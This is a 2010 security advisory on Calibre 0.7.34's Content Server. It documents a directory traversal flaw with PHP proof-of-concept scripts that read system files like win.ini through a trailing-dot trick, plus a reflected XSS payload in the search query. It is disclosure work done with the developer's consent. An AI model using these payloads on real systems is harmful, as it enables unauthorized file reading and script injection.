Author: Janek Vind "waraxe"
Date: 20. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-77.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Calibre is a free and open source e-book library management application developed
by users of e-books for users of e-books. It has a cornucopia of features divided
into the following main categories: Library Management, E-book conversion, Syncing
to e-book reader devices, Downloading news from the web and converting it into
e-book form, Comprehensive e-book viewer, Content server for online access to your
book collection

http://calibre-ebook.com/

Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Calibre version 0.7.34 for Windows, older versions
may be vulnerable as well. Other platform versions were not tested.

###############################################################################
1. Directory Traversal Vulnerability in Calibre Content Server
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data

Attack vector: specially crafted HTTP GET request

Preconditions:
1. Calibre Content Server must be turned on (off by default)
2. If Username and Password set, they must be known (no password by default)

Impact: remote attacker can read arbitrary files on the target system

So, I was interested in e-book management software and after some research found
Calibre. It has useful feature - Content Server. Basically it's Webserver, based
on CherryPy, written in Python. As specialized in Web Application Security, then
obviously I spent some time playing with it.
I used Firefox with Live HTTP Headers Add-On, which provides easy way to observe
HTTP requests and responses. This is what got my attention:

http://localhost:8080/static/browse/browse.css
http://localhost:8080/static/jquery_ui/css/humanity-custom/jquery-ui-1.8.5.custom.css
http://localhost:8080/static/jquery.multiselect.css

Seems like accessing static resources. Norhing unusual. But what if ...

http://localhost:8080/static/browse/waraxe

Oops, something crashed:
-------------------------------------------------------------------------------
500 Internal Server Error

The server encountered an unexpected condition which prevented it from fulfilling the request.

Traceback (most recent call last):
File "site-packagescherrypy\_cprequest.py", line 606, in respond
File "site-packagescherrypy\_cpdispatch.py", line 25, in __call__
File "site-packagescalibrelibraryserverutils.py", line 51, in do
File "site-packagescalibrelibraryservercontent.py", line 98, in static
KeyError: u'browse/waraxe'

Powered by CherryPy 3.1.2
-------------------------------------------------------------------------------
So we can see, that static resources are handled via "content.py".
Calibre is Open Source software, so no need for reverse engineering.
Source code snippet:
-------------------------------------------------------------------------------
def static(self, name):
'Serves static content'
name = name.lower()
cherrypy.response.headers['Content-Type'] = {
'js' : 'text/javascript',
'css' : 'text/css',
'png' : 'image/png',
'gif' : 'image/gif',
'html' : 'text/html',
'' : 'application/octet-stream',
}[name.rpartition('.')[-1].lower()]
cherrypy.response.headers['Last-Modified'] = self.last_modified(self.build_time)
-------------------------------------------------------------------------------
As seen above, no checks for dot-dot-slash (../), so Directory Traversal
vulnerability may exist.
Quick look at Calibre install directory revealed the fact, that static
resources folder is located here:

C:Program Files (x86)Calibre2
esourcescontent_server

Let's see, if we can fetch files outside of that directory:

http://localhost:8080/static/../jquery.simulate.js

I was testing it with Firefox 3.6.13 and Live HTTP Headers revealed problem:

GET /jquery.simulate.js HTTP/1.1

It appears, that modern web browsers (FF, IE, Opera at least) will not let
directory traversal tests via GET request. Fine, let's then use php:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../jquery.simulate.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
YES, it worked, we were able to read js file outside the predetermined directory.
Now let's try file reading from Windows directory:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
And we get unexpected crash :(
-------------------------------------------------------------------------------
500 Internal Server Error

The server encountered an unexpected condition which prevented it from fulfilling the request.

Traceback (most recent call last):
File "site-packagescherrypy\_cprequest.py", line 606, in respond
File "site-packagescherrypy\_cpdispatch.py", line 25, in __call__
File "site-packagescalibrelibraryserverutils.py", line 51, in do
File "site-packagescalibrelibraryservercontent.py", line 98, in static
KeyError: u'ini'
-------------------------------------------------------------------------------
As seen above, files with extension "js", "css", "png", "gif" and "html" as well
as files without extension (filename ends with dot) are retrievable, but in case
of "wrong" extension vulnerable python script will crash because of missing entry
in extensions array (formal definition: exception KeyError - Raised when a mapping
(dictionary) key is not found in the set of existing keys).
At first this seemed as minor security issue - only js, css, png, gif, html and
extensionless files from remote system can be retrieved. But after playing around
some time I found useful artifact - concatenation of space or dot character
to the end of the filename will pass through the python script without crashing
it and we can read arbitrary files from remote system.
Now this is major security issue here! Below is test script for proof of concept:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini.";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
By the way, that trick with trailing dot or space character(s) is based on
Win32 API features. I tried it in php and python, in both cases we can open same
file with paths "waraxe.txt", "waraxe.txt.", "waraxe.txt ", "waraxe.txt. . .".
I tried Win32 API CreateFile() from C code and it worked in same way.
Seems like useful trick :)

###############################################################################
2. Reflected XSS Vulnerability in Calibre Content Server
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data

Attack vector: user-supplied GET parameter "query"

Preconditions:
1. Calibre Content Server must be turned on (off by default)
2. If Username and Password set, they must be known (no password by default)

Example attack:

http://127.0.0.1:8080/browse/search?query=<script>alert('waraxe')</script>


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

20.12.2010 Developer contacted via email
20.12.2010 Developer gave green light for going public
20.12.2010 Public disclosure

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://errorhelpdesk.com/
---------------------------------- [ EOF ] ------------------------------------

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2010-12-20 (13850 reads)